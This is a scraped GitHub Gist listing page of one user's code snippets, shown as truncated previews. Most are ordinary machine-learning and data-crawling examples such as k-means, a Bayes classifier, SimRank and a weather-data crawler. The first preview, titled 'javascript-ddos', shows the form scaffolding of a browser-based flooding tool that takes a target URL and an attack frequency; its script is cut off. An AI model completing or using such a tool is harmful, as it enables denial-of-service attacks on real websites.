Skip to content

Instantly share code, notes, and snippets.

Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@wy36101299
wy36101299 / web-attack.html
Created May 21, 2015 05:17
javascript-ddos
<form name="attack" id="attack" target="attack_frame" action="" method="POST">
<p>攻擊之網址</p>
<input type="text" id="url" value=""></br>
<p>攻擊之頻率</p>
<input type="text" id="frequent" value=""></br>
</br>
<input id="button" type="submit" onclick="myVar" value="Attack" />
</form>
<iframe name="attack_frame" id="attack_frame"></iframe>
<script type="text/javascript">
@wy36101299
wy36101299 / collaborative-filtering.py
Last active August 29, 2015 14:15
collaborative filtering
import numpy as np
# linalg:Linear algebra
# 日式 中式 美式 泰式 韓式
# ---------------------------
# sam 2 0 0 4 4
#john 5 5 5 3 3
# tim 2 4 2 1 2
#以下矩陣可看此 user 對 item 進行評分
#藉由協同過濾 猜出 sam對中式和美式的評價後,推薦sam吃什麼
@wy36101299
wy36101299 / Bayes-classify.py
Created January 25, 2015 07:50
Bayes-classify 貝氏分類器
import math
import numpy as np
# 關鍵字所屬分類 P P S S T T
# 新聞 分類 賓士 寶馬 籃球 路跑 手機 App
# ----------------------------------------------
# C63發表會 P 15 25 0 5 8 3
# BMW i8 P 35 40 1 3 3 2
# 林書豪 S 5 0 35 50 0 0
# 湖人隊 S 1 5 32 15 0 0
# Android 5.0 T 10 5 7 0 2 30
@wy36101299
wy36101299 / climate_crawler.py
Last active November 7, 2018 07:34
台灣中央氣象局觀測資料爬取
# 產生data List , data List為兩年份
def date():
month31=[1,3,5,7,8,10,12]
month30=[4,6,9,11]
year2=['2013','2014']
nday31=range(1,32)
nday30=range(1,31)
nday28=range(1,29)
day10=['01','02','03','04','05','06','07','08','09']
month12=day10+['10','11','12']
@wy36101299
wy36101299 / Hierarchical.py
Last active August 29, 2015 14:12
Hierarchical algorithm
import math
import numpy as np
class point:
def __init__(self,vfeature,vlabel):
self.feature = vfeature
self.label = vlabel
class cluster:
def __init__(self,numbercluster):
@wy36101299
wy36101299 / k-means.py
Last active August 29, 2015 14:10
k-means
%pylab inline
import math
import random
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
class point:
def __init__(self,dimension,pmin,pmax):
self.feature = []
@wy36101299
wy36101299 / n_grid_produce.py
Last active August 29, 2015 14:09
directional n*n grid produce 有方向性n*n grid 產生器 負號(-)代表被有edge連結
import random
import numpy as np
def proEdge(g,l):
for t in l:
t = t.split(',')
i = int(t[0])
j = int(t[1])
if i > 0:
if g[i-1][j]==1:
@wy36101299
wy36101299 / simrank.py
Last active August 29, 2015 14:09
simrank use numpy
import numpy as np
# normalize 歸一化 sum(0)為每一點被連接點個數的陣列
def normalize(G):
s = G.sum(0)
return G/s
'''
simrank 公式:
S = C*(W^T ∙ S ∙ W)+(1-C) ∙ I
S 相似度陣列
C 阻尼係數